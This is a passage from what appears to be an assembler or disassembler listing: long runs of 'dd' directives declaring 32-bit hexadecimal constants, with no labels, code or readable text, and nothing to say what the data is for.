0BEB36B5Bh, 0B16AF0FCh, 0FA4F7677h dd 2D5E2781h, 0E9B4FF2Ch, 8EEB96E1h, 3FE90927h, 1685E655h dd 485C0EB8h, 0A2CAEC8h, 3846D60Ch, 0AD4301A8h, 5EF10136h dd 0A0C24256h, 0EBD2FA4Bh, 7EC955DCh, 76850E8h, 9ED051B7h dd 6C2F4251h, 53551108h, 654AA868h, 0C0525CCBh, 0AA7B7FA7h dd 9C74240h, 2F087DC3h, 0A05163D7h, 0CAB5905h, 0CA96E987h dd 0F49F5838h, 1737C3C1h, 0C6047584h, 0C01C685Dh, 6E3802A3h dd 904858h, 4C21FC0Bh, 7A610B12h, 24BA020Fh, 561E3D69h dd 6FC1C1h, 23ECBDh, 814D0E71h, 0FE43ABE5h, 0FBE97E0Bh dd 0F5A6298Eh, 7AE2A51Bh, 0C1061874h, 0B5802E5h, 5430DECh dd 65204458h, 39BF001Bh, 8140DF3Dh, 7F135BCFh, 6BF50C9h dd 0AEFD183h, 0D3A2066Eh, 532CCBAh, 1834E609h, 2DFD051Ch dd 0D65A0709h, 0EB124400h, 0CA2865E5h, 2985E9B0h, 0C3D15E81h dd 9A1A9B30h, 0DAFD4827h, 6D350B72h, 0CBD75F27h, 8E25A137h dd 6BC22C57h, 0FA15499Fh, 6182F3FDh, 8E2045B9h, 8F3E8055h dd 5A342D23h, 1235C429h, 1A4B7608h, 9E9B0802h, 0DEEAE9CFh dd 5DEF8975h, 0EB3F3387h, 74683CA7h, 52398C3Dh, 7916DDF2h dd 20BB78F6h, 1C1D0E4Fh, 0DB913AC4h, 526C20AFh, 801CF8B6h dd 0EEC101C6h, 1C8AE99Eh, 0E0D60B2Ch, 70098C28h, 485A6A99h dd 8285391Bh, 3589DE7Eh, 4583D95Eh, 55B2BF56h, 0C8ADE90Dh dd 0C6D46021h, 62AECE4Fh, 305E53B2h, 5DF276C2h, 26A83FD3h dd 506F580Ah, 65139136h, 294C67F6h, 5807E305h, 5238219h dd 1469B4E1h, 415C0AC8h, 0C10B7F89h, 804AC529h, 7E03822Dh dd 0F0282943h, 0ABA00705h, 9D9EDBBBh, 72C6EF92h, 6FE129Ah dd 0F19E0489h, 1E5AA9BCh, 0E04B5005h, 4E7EF6BDh, 7A5C2D20h dd 0CE902453h, 0ECCC2F4Ah, 0FC4812E7h, 0E6B7011Dh, 2025A56Eh dd 7912925Dh, 0BD0A0BEDh, 56ED70Dh, 90E266F0h, 0CA1E022Fh dd 18A8B148h, 0C6218AB5h, 0BA1718CAh, 0AA9EA43Fh, 0CF0F0293h dd 3532A4C7h, 7FCB44C0h, 0C30CC773h, 6BE70014h, 0E92CFB01h dd 0D0A73032h, 0E006D0DAh, 6097B420h, 90AAE6C1h, 28FA0535h dd 0C4585AF5h, 0B365C22Eh, 0F8EE147Fh, 0F5D0AA97h, 3177382h dd 0A5891CF1h, 2530DF4Fh, 0EDB79AB3h, 78D80BD3h, 2791FAA7h dd 62554793h, 33E02268h, 0BD8085D2h, 0B377077Ah, 0C2EE0902h dd 2E7796B1h, 517F2471h, 834916AAh, 0E9C55D7Ch, 0E7A89235h dd 0B459CD12h, 540771Ch, 33B505B8h, 1C932208h, 5FD0ED8Fh dd 0C540E912h, 0B5B198EFh, 18803835h, 6872A0BEh, 80A3795Fh dd 66EF8807h, 0F6F84050h, 0CA4968D0h, 4BAF5B72h, 68555C1Ch dd 985450E5h, 594B211Ah, 9AD4E985h, 71BB2B57h, 501EE995h dd 5DEA09ECh, 2E424A3Dh, 8180339Ah, 0AF3732E6h, 0B951002Ah dd 0F2664EBh, 34549168h, 0FDF25033h, 6FD37116h, 0E6353E07h dd 5D2A47A2h, 67D6C5C8h, 279E8B4Ch, 0BFB5F087h, 0F5023370h dd 5F30553Ah, 971AFC05h, 6824E42Dh, 0C3371E5Bh, 0EB796180h dd 0F15B5B78h, 0A968214h, 753EAA11h, 52C9CDE8h, 68CF321Dh dd 16A700BDh, 3BE91B44h, 129AB1D2h, 0F36F85E5h, 0CD4210ADh dd 7C8B2D03h, 0FA80E39h, 3F13BECAh, 8F21C229h, 147C5C53h dd 0AB6E98E4h, 1720F14Ah, 192B252h, 0C780C0B7h, 3ECEE9A9h dd 2D80F5F2h, 57DC0C1Eh, 0F6740E97h, 4FC19CE0h, 0A6E182EAh dd 0BC095BAFh, 81015F25h, 23BE15Ah, 0BA61604Bh, 8D1013F2h dd 0FDA91471h, 2EE0333Bh, 8245429h, 695D19B0h, 0C50181A1h dd 0F3387F95h, 1AA5FC10h, 0E0A16853h, 95C38E3Ch, 4A049457h dd 0A43DEF02h, 0C499A83Fh, 0EB14854Bh, 5941D925h, 80D67196h dd 8235D006h, 4B5D0BA1h, 0D35BBC55h, 7B7CC7CAh, 333EF7EEh dd 9A094DF0h, 39277D7h, 7C2C12FEh, 38F605BDh, 0B8CF6D54h dd 68550FDBh, 4B491DD2h, 1EC6805Dh, 0BD56916Fh, 844077C0h dd 231F698h, 372C44C2h, 0F1617FCAh, 0A9DFF295h, 0CFCE8055h dd 0F456626Dh, 1CA0581h, 0C0495B3Ah, 3C7C9C0Dh, 76894426h dd 0F4A9AA8Ch, 65971835h, 29C79A7Dh, 3F4E53E2h, 8EF10BEh dd 0E09AED4Fh, 97F30BE9h, 0D7A0DD56h, 0EB3F1E09h, 67745446h dd 0AC0595C1h, 939A1020h dd 2925513Bh, 0EFA9C42h, 113BFB9Dh, 4753242Bh, 56346917h dd 212857B8h, 0E1811DA3h, 4ACC0E4Fh, 0A761E9C3h, 0AB61FCE2h dd 76A6E8C7h, 50D9D8B7h, 0DC5908EBh, 0B14E051Eh, 0AACEC52Dh dd 0BC432F02h, 0BE00F57Eh, 733541ACh, 0FA92A79Eh, 2A523A87h dd 87F2DD84h, 7DA66816h, 1FA0AF60h, 555485Bh, 5020E073h dd 32AEF30h, 0E910845Ch, 4207DC82h, 52D58851h, 0F350EE37h dd 0A066595Ah, 0BD85ACD3h, 34B9099Ch, 0D1EEE062h, 0EEC32020h dd 6A4D2810h, 0D5EB04EFh, 0AB3E55E5h, 914F0FADh, 0B3926Dh dd 1E472205h, 0D75D682Fh, 7D8E55E3h, 5827E591h, 5FA50A71h dd 18A22B9Ch, 0A77095F7h, 257BD5DCh, 6D74536Dh, 49E95558h dd 5E27B739h, 0E44FCCF1h, 54050E34h, 403A9959h, 0F308070Fh dd 0CF7D2075h, 745F1A9Dh, 327FA72Eh, 39E05D7Ch, 0F5767029h dd 5EE5D12Dh, 82154A86h, 38E22D7Fh, 3BB8C32Eh, 27C0C406h dd 9774F05h, 2EE9409Fh, 0B15145C0h, 8B80F33Ch, 84CA888Bh dd 0B6D792F2h, 814D6259h, 70DAA6C2h, 0BC31D57Fh, 0D2D15A4Bh dd 5A6C7926h, 106FE6D4h, 0ABF7EBA4h, 0CB849FB6h, 14815D82h dd 8365495Ch, 0F1E401F1h, 8F703113h, 2D60BBAEh, 685F0656h dd 2B633BF0h, 3C9DE7D2h, 0FE8104AFh, 30575155h, 782D3247h dd 982FE641h, 5E77C0Bh, 48E9365Dh, 2045A59Dh, 861F4A5Bh dd 8F53EA89h, 0BB8F8E0h, 0BF87FABh, 36073489h, 8C565BD8h dd 0F9C901E7h, 830F0B0Dh, 0E2EADC9Bh, 92FC450h, 98E1F2F3h dd 3157407Fh, 964BC3B8h, 1EB8B703h, 0D206EB03h, 0D5C2EACDh dd 0D3E1E787h, 0EDE26A27h, 6804A154h, 0D2B20DE4h, 8A2D9458h dd 0BFB5E1E3h, 43CC7361h, 0C0FABAAh, 58C87DF9h, 7A20510h dd 2FBA9161h, 759010A9h, 0F7E7E982h, 429F4CF7h, 2EEC4B23h dd 55A7F2A7h, 1D004C6Ch, 0F75FCC7Ah, 386856D5h, 7D972013h dd 4D05835Eh, 83BD1A5Eh, 46488300h, 76CF0D60h, 96751002h dd 0F97DB668h, 256D89C1h, 60065D11h, 1812F725h, 0B0AB57BCh dd 0B55B3D87h, 41240D97h, 43F107AFh, 0A9C2E265h, 0DC5AEDC4h dd 334A18D1h, 37E3F38Ah, 0D3C29DE0h, 4EA9E883h, 3C7229AEh dd 582A4CDh, 5E985779h, 6113FBB8h, 42AFDF54h, 5B5DEA20h dd 92B6715Dh, 8032A034h, 73DDC238h, 6BEBEAEAh, 67511B67h dd 0D0C1142Ch, 15E9A0EFh, 0C2469F81h, 285E629Ah, 2D0189E2h dd 0A2ED2C44h, 0B91A9357h, 0E9868DEEh, 0F8907EA7h, 7ACE3613h dd 911C610Fh, 0C8EC8850h, 74EA58E6h, 5A018717h, 0FB7364BEh dd 80D7D531h, 137F7039h, 0F05DDF69h, 8940B894h, 0EED75AF6h dd 4B681A28h, 193AE38Fh, 0FC7E4DB7h, 3712A122h, 0BF5629CCh dd 739B268Bh, 111B947h, 0A1EC6DDFh, 689CBD5Ch, 19B04BDh dd 84C1E8AEh, 93C15266h, 61FAD022h, 59026295h, 0C5CA98C3h dd 5A5E1258h, 9DC7690h, 9D715892h, 0DB186225h, 0C6976403h dd 66BF09CFh, 0E7703EA8h, 67A36897h, 1B4695F6h, 6C93D62Eh dd 110636Ah, 84C5FC4Eh, 310DDE3Fh, 67A83F48h, 0AEDDE40Eh dd 8EFF29CBh, 463B8994h, 6B590973h, 0EE60BE39h, 92076AF2h dd 742AB920h, 35E92851h, 0C74EF73Ch, 0B0DB8538h, 1B4F68D6h dd 5F10F2ADh, 0F45A2712h, 8F7B5618h, 0E23C7497h, 0B2F38255h dd 93586FADh, 9846C5EEh, 0AF316822h, 0BD5E2107h, 0FCE63D3Eh dd 0F697E017h, 6FA25014h, 296CCF12h, 124ED4ABh, 0A32CBB0Ah dd 7AC130E9h, 6E44BA0Ah, 0D0A0825Ah, 68D04011h, 0C618C125h dd 13235BBFh, 0B507BD5Fh, 0DADB0CBEh, 0D0A05ACDh, 0DC2863CAh dd 650BAD03h, 5539D85Dh, 0FB2DF905h, 7F238244h, 71A3800Fh dd 0D592752Ch, 0E613C85Bh, 0A4296E57h, 24E5E1D8h, 1322332Eh dd 3B0EB8D1h, 0F04BAF47h, 208C2067h, 2D945548h, 0B69A8233h dd 5C61FDC9h, 0F69E2h, 2EFE17BEh, 27198DBBh, 0CCC21D6Dh dd 64614C80h, 2AF35E71h, 4096B0E3h, 1A552A39h, 0D1BD5D12h dd 0EE9CC293h, 0ECA341CCh, 0D899FD8Dh, 4BA3680Dh, 75CA8C42h dd 0BB5C7140h, 0FDC696CBh, 0FF0C6969h, 0FE01F620h, 0A24BFDE9h dd 2DE65EFh, 4E3E14F2h, 0A36EA5Dh, 5A45DF08h, 72682C90h dd 544A2F11h, 0AF014B42h, 8A96AA4Ch, 5E6D365Ch, 7E38F15Bh dd 9E5F78A7h, 77DE9F8Eh, 8FE4F56Bh, 8685909h, 8030D530h dd 0DC03BB53h, 0D13B952Eh, 0B59094EBh, 76396C85h, 14A0F02Ah dd 0D9327604h, 46022438h, 93B9E920h, 96253F7h, 8C8745B1h dd 0C87022C7h, 9FFF595Fh, 22A34BBAh, 8058AC5Ch, 0B83AE1B9h dd 6853A0A9h, 2C061286h, 8B121731h, 4192507Dh, 0D2A00EB5h dd 3C022CE6h, 0E90BF91Ch, 522A48Ch, 688B2A9Eh, 0D8B0751Ah dd 0CE2F33FCh, 6967F410h, 0F2EC60F5h, 52201263h, 7526A014h dd 35C50E06h, 5FA685B9h, 52A5C732h, 0EF6C139Ah, 5E605295h dd 2F29AA29h, 1530C8EDh, 1225BA88h, 0BBEE015Fh, 8860312Dh dd 5E504C1h, 0BD1547E9h, 16083C39h, 0F5323420h, 154FD55Bh dd 5DF464AFh, 0FC4BE186h, 0E8855A9Fh, 84A0B3EBh, 68027CF7h dd 72AA74F5h, 55EA0262h, 4FD4A06h, 80AB400Eh, 87BFB43Bh dd 0C689AE19h, 36967EAAh, 4E1CA35Dh, 0ABCC24EEh, 0A2C5729h dd 50679C10h, 0C711F43h, 6468780Bh, 41A8D279h, 66142FAEh dd 42631709h, 0AC1064B3h, 525F1F0Ah, 51CF09CCh, 38640CE6h dd 683D5566h, 5744EC31h, 9D7B9948h, 0DD203ABBh, 0B646C4Fh dd 0B702E959h, 3D095F7Ah, 0D044C63Fh, 592C188Ch, 67460C25h dd 4779D41Fh, 7DBECF47h, 71C04274h, 0E3F10797h, 0BA73853Bh dd 76287D80h, 8ACAA1E3h, 9D642C6Eh, 942FC741h, 613AC96Eh dd 87D43A71h, 73C1F2BBh, 31347EAh, 0D2044D49h, 94BD1898h dd 0A2281201h, 3FF12145h, 5FB1B6B8h, 569266Ch, 6D6F28DCh dd 9D40D72Dh, 12EA4A99h, 566FE97Ah, 0FCB1392Eh, 7783F25Bh dd 0CCBB4F90h, 815F3147h, 35F775FAh, 0B2B867h, 64A137E0h dd 2741CFBDh, 4900E42Dh, 79ABF581h, 1748CE2Eh, 0C2610507h dd 46B4FD0Fh, 7D5D0809h, 908BE7E5h, 0A51E5906h, 5D4C8BF7h dd 0C9EB5CCh, 0B6B45081h, 0CB70E388h, 3E7CB5ACh, 4A18F25Bh dd 0D2F88263h, 0CEC5557Ah, 0AB6C163Eh, 5ECE9F50h, 3B08985Fh dd 0D9003DA2h, 8150423Dh, 3812ECEEh, 0A4BB1C88h, 441F1DD7h dd 0F6C03F12h, 4BD95EACh, 9F1E9829h, 61835DE8h, 7BCB40FEh dd 0B7B19C58h, 56246C14h, 4F8C0736h, 9D3DD155h, 0AC4A2406h dd 40618A1Dh, 0B9C7AB0h, 31F91054h, 5AD017F2h, 0A2651E49h dd 55D68774h, 1A3F0982h, 5EE38B40h, 0CDF4030h, 2445C7F3h dd 1AAF6A7Bh, 195E32FEh, 5B956EDAh, 0C28990F3h, 5E2F72DFh dd 0ADACD647h, 0E7D519A9h, 0B1DD2F07h, 0D62A5976h, 6E9508C5h dd 1F681036h, 21E9160Ah, 97599AA0h, 628DB6CFh, 0C1031D75h dd 66768114h, 273C47Bh, 0BA13E907h, 2910B875h, 61D9B9C3h dd 62274BE9h, 3FC25127h, 12FA23D4h, 50B9A609h, 0AB4141B8h dd 1E02C83h, 0EC9C3B0Ah, 5EF71745h, 7622EB0Bh, 0C4CC72E9h dd 79A7E912h, 0F98B39BEh, 0C8123ECFh, 4F4FDAAAh, 0FB1AD7E3h dd 76633099h, 9EE8B54Bh, 7CAC688Fh, 3E402AEFh, 2FD61CB8h dd 862581FDh, 6428DE44h, 641DB13Ch, 6F4250D8h, 603D0821h dd 1540DCCEh, 574F4E4Ch, 41D3BEC0h, 7B517E2h, 551053FEh dd 96A70EE9h, 0DAE9EB4Ah, 2E462A74h, 0F8625FFDh, 6AE1253Ah dd 2F167078h, 27E80E0Fh, 1F907910h, 56A58853h, 58E284F2h dd 0BC54E45Bh, 2CEFF44Bh dd 0F49D5A68h, 700BC9C5h, 123FC747h, 28FB87DCh, 59B75BBCh dd 5AFE6B33h, 0FF921A2Dh, 0BD0B8117h, 41FED994h, 435158C3h dd 0FEECC59Ch, 3C893A8Bh, 5658D47Ch, 29980C68h, 434E0BC1h dd 0E46C9A97h, 0BF58ECBEh, 6C860760h, 29313A17h, 801FAF1h dd 0F33E5258h, 0C8EB9200h, 0B24B7188h, 249780A7h, 98A2AB2Dh dd 0BFACDDC4h, 0C5516B9Bh, 0A65EBE41h, 0F56DAC2Fh, 4AB199F8h dd 65BA2BDAh, 0A661BE60h, 0CE72D8E9h, 7A0EE410h, 58C0EC49h dd 930117FEh, 0D0E32806h, 0A8EF4A7Fh, 0D9ABF479h, 6603D168h dd 74F51187h, 3F24F202h, 1FC0322Bh, 5205660Dh, 0B62DE93Eh dd 0F38068ECh, 0BED09408h, 65DE012Ch, 0EA41CB18h, 1F7114AEh dd 1675D84Ch, 0E8A33AAFh, 0E95D04DEh, 20CACC84h, 0CB85C8Bh dd 0DBBA2BE9h, 0C4E7EC9Dh, 0AB1E88FCh, 4C1AFD44h, 0DA1410A3h dd 28064B02h, 0C423529h, 8372D709h, 3BA35631h, 0B95B9F52h dd 28A10712h, 0CD6762B8h, 1D091390h, 0F4D64BE9h, 682C9670h dd 0CB03B96Fh, 224A1Fh, 54B8F358h, 0AE907A9h, 0BCB5E25Fh dd 0D82F04DDh, 694477CDh, 0A8FF34Dh, 8B8BC331h, 0BB6172DCh dd 22F56930h, 9F5195F4h, 55EA44D1h, 0D6905A89h, 24D47A57h dd 1D10162h, 3B64F580h, 0E34CFAF8h, 0AD30C516h, 0FCC72FF5h dd 6417BE8Fh, 2701ED84h, 81674AD7h, 0AABF404Fh, 0E845A46Fh dd 6D6CD1F5h, 0D5FE9694h, 0D4DB8091h, 171BE7F0h, 9450DD01h dd 5C2FD7F8h, 0E9580FD4h, 0A091BA0Dh, 0E181AC87h, 0D36CE67Fh dd 85CE021h, 9FC4093Ch, 50310910h, 0CF7254B2h, 0F62D005Eh dd 52CD30Ch, 0D70615BAh, 0B194E936h, 0F74A1930h, 868104D2h dd 16DE1032h, 0C24B11h, 0D60114ACh, 785EB7E9h, 0FCA21B67h dd 695C0927h, 0C8E10612h, 27030160h, 70601B64h, 6C121FE2h dd 230060F5h, 39634FCAh, 0B564C131h, 2B8E4690h, 0C9376481h dd 96D882Ah, 0A71C6F3Dh, 2C22847Bh, 0CFC877C3h, 1C1E87A4h dd 59EA0135h, 3008E2C0h, 80829F54h, 7C181BF4h, 6C0CC102h dd 96EFC211h, 82EF5ACCh, 0E4403636h, 7F49E943h, 0E3301D92h dd 0CB47AECAh, 5880F6A7h, 578222DAh, 7C97F269h, 0A3D848A8h dd 0A8AFA45Ch, 75ADB11Fh, 1D045900h, 0BBB25203h, 0C35AD028h dd 2CF0A9ECh, 4EF472BDh, 84F1EC1Dh, 5B0990F7h, 9EF65009h dd 557F40AFh, 0BFC4B2D4h, 76190C22h, 81067810h, 0D3F57654h dd 486AB539h, 8C1C7BB2h, 8BACC2D3h, 8720341Dh, 89DC6858h dd 87860811h, 0DA53BE72h, 0CE01CA01h, 87CF1862h, 0D6905169h dd 6880CA34h, 0FA3E4997h, 0F8A9D29Ch, 0B86A9DCCh, 5685F20h dd 0F6167BEh, 9564851Ah, 498E0B43h, 34D8C91Ah, 0C2F1AFA0h dd 0EE4922DDh, 97542074h, 4B036347h, 12EAB629h, 3E13215Eh dd 0AB2A64EFh, 18E3B0F4h, 0F709FA68h, 0C1C0844Ch, 2D3C3F28h dd 61250058h, 506E86Ch, 0CE62AFAh, 2C09289Eh, 0C1721B96h dd 5835E818h, 0EC3F56E1h, 5CF41F77h, 4A215DBCh, 822970C7h dd 0E988141h, 49C6CE80h, 0FFB82C84h, 85DE6F0Bh, 1485F787h dd 0A7698353h, 0F375A332h, 21D2555Ch, 0E7B613F6h, 4F9CD62Fh dd 1AD92B62h, 863212C0h, 89C6C812h, 0B5BDB80Fh, 7EC85EBAh dd 0DAF9DF62h, 0EC446145h, 0C90BCC00h, 549B6861h, 0FA3E5807h dd 61E2D0CBh, 29AEF277h, 0A8897426h, 3CCA0F49h, 0C0C4332Bh dd 0F7798871h, 78B0E525h, 7860204Bh, 4AA3681Ch, 58B9FC2Fh dd 5238B4E9h, 26EFDE0Ch, 21A01038h, 6AE165D6h, 0A2A18DECh dd 0D887C323h, 73424793h, 4364C380h, 0FEBE977Eh, 6FE87627h dd 3B9273CDh, 4BA80484h, 5C1EE102h, 0F1D55B07h, 0A3666447h dd 32BC4B5Fh, 0E567DD00h, 968CBD3Fh, 294F971Eh, 502A98A7h dd 0D15505B8h, 8556F04Dh, 5F53F8B2h, 0C8871BECh, 0ACC234C0h dd 6EC4B1Eh, 0EBA50896h, 5FF6E225h, 68530F18h, 8A754D29h dd 0EAAAC9A5h, 602AD3D5h, 3A706892h, 22A7C59Dh, 3C84F99h dd 4081BE28h, 327423BAh, 0F57C980h, 5EE962E3h, 2359A47Ah dd 0C231674Bh, 573557B2h, 9D134ED8h, 90EC7424h, 80C4FE88h dd 8826B9EEh, 780942E3h, 9224717Bh, 0C19A0ED8h, 0A88BAFB6h dd 44CEA812h, 0AC0FD820h, 4C98C0EFh, 4BE96DCFh, 0FEDD859Ch dd 1B545990h, 25327D29h, 90F28EAFh, 562E117Bh, 73851952h dd 0D4BF01E2h, 49081F0Dh, 0E95CE4F0h, 3EEE81C0h, 54AD2D5Bh dd 8A0EA7Ch, 75A430BFh, 125F95A0h, 6A70FF88h, 7968A9Dh dd 8A7D0600h, 13992D58h, 0C1321648h, 2AAB5B5Ch, 1D2E28CAh dd 847EA578h, 6E01240Bh, 9A1C245Dh, 9964A7E8h, 4D903330h dd 280BC1EEh, 815C3F36h, 89E65908h, 0BB85BF4h, 60F2390Eh dd 0C100D0E4h, 333508E0h, 351971CCh, 0B95D1BE9h, 0DA688240h dd 0EC67D777h, 4C5EE1Bh, 2D0C756Ah, 0BCD58512h, 1BDE5B5Ch dd 0AFBCE90Bh, 936406F1h, 820EFD13h, 554CF268h, 9501504Ch dd 0E9181A1Bh, 176CB810h, 20A1BAE0h, 401C652Eh, 0CB106704h dd 4AA7C3AFh, 568A1205h, 4EEF768Ch, 94DC44D3h, 700EB019h dd 29C40B57h, 5E0810D6h, 0E9096CACh, 0A689511h, 80808874h dd 0FF22B8F1h, 4184FE30h, 51B46B41h, 63CEF8FEh, 5DBF14A6h dd 0E8A045B1h, 639BB640h, 8D37D90Ah, 0B84F2150h, 795D20C4h dd 0CA0D2BAh, 0D43F36B5h, 67CD9331h, 0E285A1F2h, 0C055AC8Dh dd 137EEC3h, 0F3EC6Ah, 3D095B93h, 3012B951h, 0A41F9824h dd 4464D02h, 8648FD38h, 731862E1h, 441E2A40h, 0E7E22721h dd 4ABEEF76h, 0F70170BDh, 716895DDh, 0DE81960Fh, 0DDD92E52h dd 120E8A6Fh, 9529A157h, 668BD7Ah, 40478F58h, 1D9F01A8h dd 66E9288Eh, 0E38852B7h, 0C432C341h, 5714248h, 207B4013h dd 9605CFADh, 0C023F258h, 0BECED50Dh, 5961E926h, 0D3F84D97h dd 21FBFD2h, 7E6F3DCBh, 0F97C7063h, 0BF5469AEh, 0E75F8C11h dd 0BE93A4F7h, 174D132Ah, 90B89117h, 0D92608B9h, 78AC7F4Bh dd 4619677h, 0B0F5E955h, 0DBBF5B5Ch, 0A2DD2D2Fh, 17035DAh dd 0CE15B72Dh, 0BB02135Ch, 0C05D6179h, 0A9B470A7h, 7A30EF80h dd 80DE417Bh, 6B783226h, 9E38170h, 371E1545h, 72F387Ah dd 88C9D92Eh, 68AA3C0Ah, 487A3631h, 0D589335Ah, 791A5945h dd 335E3241h, 40B7880h, 827A050Ch, 7B1D1312h, 57B700EFh dd 525E701Ch, 0BE53FCC4h, 0BDD021BBh, 46DF6B19h, 0C56CE24Ah dd 4A4D1E51h, 0B5F07166h, 4C96BAC2h, 184C4E3h, 9CC147DCh dd 0DA440D73h, 56526925h, 0CD1EC82Eh, 0DBA8FE9Dh, 0A0878E4Bh dd 2B022D41h, 391D6320h, 581A85Ch, 0FCB11A8Dh, 97F47B09h dd 2F111254h, 253AF82Bh, 8063C0E1h, 287826F6h, 6FC5084Dh dd 0E255DC2Dh, 717F7EE5h, 0C513A42Ch, 29B44D28h, 0B7402B6Ah dd 0E64E03C3h, 0F1EBF864h, 0C088CCAh, 31720420h, 0D179E906h dd 6D3968DCh, 4E6310B7h, 0F1054800h, 89ADE10Bh, 1718DBBFh dd 0C7F18229h, 5135E07Dh, 117D95DAh, 0ED6CBB7Ch, 0A044348h dd 0B30EF068h, 67FE174Fh, 0B1AE48Ah, 0E05FCD28h, 9EBF2B55h dd 0D47C28Fh, 257AC55Dh, 5D1222C6h, 34AB6968h, 0CACD03A3h dd 6410F361h, 0BD4B3ED8h, 5001D212h, 4F2B4CCDh, 0C6CF6070h dd 0B3F752C0h, 6886E22Dh, 25C670FBh, 3254880Fh, 0E913BA20h dd 7E982B0h, 5185BF10h, 3146EDFEh, 3C48ED80h, 66194B80h dd 0C87E6E10h, 0F309EF72h, 0B4E544Dh, 0E7420379h, 8CF3E703h dd 55F4CA34h, 9DCEDFA2h, 167B1BDFh, 0E3FD57A1h, 611168Eh dd 58C96FBDh, 6BDC1882h dd 54E46954h, 82F5BDA8h, 4C4A5369h, 7EF27750h, 286AC460h dd 385066C6h, 0C6790B0h, 0FCDE1B58h, 2AAE0052h, 0A039FF60h dd 2F6912D8h, 0D1541CD0h, 0AE9A228Ah, 32FF54Bh, 0CD543AA4h dd 0D3D86FC0h, 7BE29DC5h, 0EEDF8209h, 12534A3Fh, 8DE3BFB0h dd 801D7C7h, 3BC80FF8h, 6AEB41E9h, 54A7D6F3h, 5DC740FCh dd 58010815h, 42B2BF57h, 0C5614133h, 0BA067328h, 0EE51290Eh dd 3B48C92Fh, 6F21D93Bh, 74B264ADh, 9D313C8h, 0FD287E28h dd 995892Eh, 0C8BF0F60h, 51443168h, 3FAA3B49h, 86C644CCh dd 7DF6813Eh, 252C3E3Ah, 0FC477DF0h, 7FED3589h, 0AF64A112h dd 97C6F8h, 5933BBE7h, 0FF9532h, 35047716h, 0B4024EE9h dd 0A8EE5754h, 132D8B4Dh, 0A8C55BBh, 64725EFAh, 68D12C6Fh dd 91220532h, 6654C953h, 0C52C48Eh, 585D4EA9h, 1AA16DA9h dd 8C5AEDF2h, 147B4625h, 0BC5E5AF0h, 7302CF22h, 928B5D16h dd 0ADF1312Eh, 200C9CF5h, 68056C71h, 17C5720Ch, 0A27F38E5h dd 61EA92D5h, 3F5FFDFBh, 0B800269Eh, 5EEF4D95h, 0A190C609h dd 5DC4E925h, 0AA442FE2h, 0D39D96F0h, 59C18401h, 0C38BC472h dd 0DEA8E846h, 0DB5EE96Eh, 795B7683h, 0F0834DFFh, 282DE44Eh dd 0B04FA592h, 0E6D0C607h, 0D56C0F72h, 2497B491h, 0F107814Ch dd 0E334007h, 494EE160h, 0A8064EF5h, 0BFC80990h, 95277FCAh dd 0BD0EA2FDh, 0BDD1E469h, 0F9500FA4h, 4F39A67Fh, 0E53AEDBBh dd 6E2281DFh, 5E65EB74h, 0E9A0A568h, 0FF95A23Fh, 5457A91Ah dd 0B086436Dh, 60585425h, 3EB7F106h, 0A49C8044h, 32542F39h dd 7C890952h, 3A06D8BDh, 55F3A7C0h, 17EA41F9h, 0A15BDE31h dd 149209Bh, 82D9E927h, 5DD4881Fh, 40B73B98h, 5C4373B6h dd 4F191831h, 21BA306Bh, 7FC53C0Ch, 0AA34464Ah, 0DF0B42F5h dd 0BC05D7A9h, 0BB8CFECAh, 2E432568h, 0C562E9D4h, 0FD868B55h dd 59AA2617h, 0DA715E97h, 0F1E2D45Dh, 974E2051h, 55F692B7h dd 0E9D04D7Ch, 2486B269h, 8A4C83Bh, 2D026ACDh, 7524F26Eh dd 5E731FC0h, 294D160Fh, 8A81CC3h, 0DE91E917h, 6EF4DA24h dd 47C9975Ah, 3368DEA3h, 7F3D5334h, 0A8497C76h, 77F025D5h dd 5CB00998h, 546C4327h, 0E7810065h, 64496817h, 600B5074h dd 80301951h, 2671C7D8h, 0EE5F4AC6h, 81FD884h, 5D0178EFh dd 0FC9C45Bh, 535D2E60h, 11B4BB4Eh, 0B2DE5F29h, 9F4D026h dd 5030373Ch, 3B44B92h, 80C1FE88h, 0B4AB8795h, 5AA492F3h dd 205BE47Fh, 0F9BDB1B5h, 0A0DD8D1Ch, 0E2A02B59h, 27487B73h dd 0AA189EC3h, 61250ACBh, 0C566D745h, 5D2ECA9Dh, 1B4BC040h dd 0BB695E02h, 77D6597Ah, 7E1D5087h, 0D31C0216h, 15528668h dd 0A077AF2Fh, 0FE3E5819h, 0DFB8C550h, 5B4BB2B5h, 0E829C14Bh dd 322D483h, 0F80164A4h, 34F15351h, 0E7BD3EA6h, 0ACB26216h dd 0A7CB9FA9h, 0B0125127h, 5D59D768h, 0BF0F2DB8h, 0F66E377Ch dd 2DF81FC1h, 97AC0A44h, 0E0B9AD93h, 0C4381468h, 886525D7h dd 5A6AE4FFh, 0D1024A22h, 574D82BDh, 680C78E3h, 2D839CE9h dd 3E2C25F6h, 0E67F6878h, 657C6B71h, 0C79EE06h, 50C2D4Eh dd 29ED6F1Eh, 0AEFB04F7h, 3DAAB9ABh, 865BA80Ah, 0F1AD1C2Fh dd 213EC2E9h, 2AF66801h, 1C4DE2Ch, 0F8AA3415h, 0D25A8C53h dd 3EF9958Dh, 0E0573C92h, 5C0BC8AAh, 65A741B5h, 3EF3C2Fh dd 19F36A4Fh, 0F8419525h, 2B0305Fh, 62375697h, 56E63914h dd 59D6F72Dh, 6D3462A2h, 6EA85C05h, 65B5E8A3h, 952A82D2h dd 0FD5E9B5Ah, 0B9DF89A8h, 2D00C34Fh, 0BC95EE7h, 782ADF0h dd 56D41580h, 2FB1E9Ah, 70BC8052h, 46F9314h, 694C3F25h dd 847EEC4Bh, 6C0CF01h, 48D64362h, 9824457Ah, 48996F3h dd 0EAFE3108h, 0E7489EE2h, 47441A2Fh, 10ECA983h, 7079278Ah dd 0B66DBDBAh, 72ABE904h, 89384E6h, 0D7258686h, 0D7A7EDE7h dd 6F0B9C29h, 0CAA785F6h, 0CE527F07h, 0DFC45527h, 0FDD99733h dd 7EDE659Ch, 0A4985EF3h, 0C9C079D3h, 0B35074F5h, 254E9873h dd 6A6429E1h, 2F8EF6B7h, 0EAA8160h, 0BBEC125Fh, 0F06E9F02h dd 0D0F40103h, 2BD2FE39h, 282E24ECh, 0AF34132Eh, 6081E50h dd 8541E959h, 69D69F7Ch, 0BCC6E812h, 0B8702A98h, 3E73FBEh dd 1F199410h, 0E3CDFA09h, 0F081B77Eh, 47941680h, 4DE215Eh dd 0A3B6E807h, 803A4A4Eh, 0F55BE1Eh, 1F26D48h, 92F0AFC6h dd 93B29B8h, 70AC3FA1h, 94448B8Ah, 88044FEEh, 0E376BE01h dd 7A9225h, 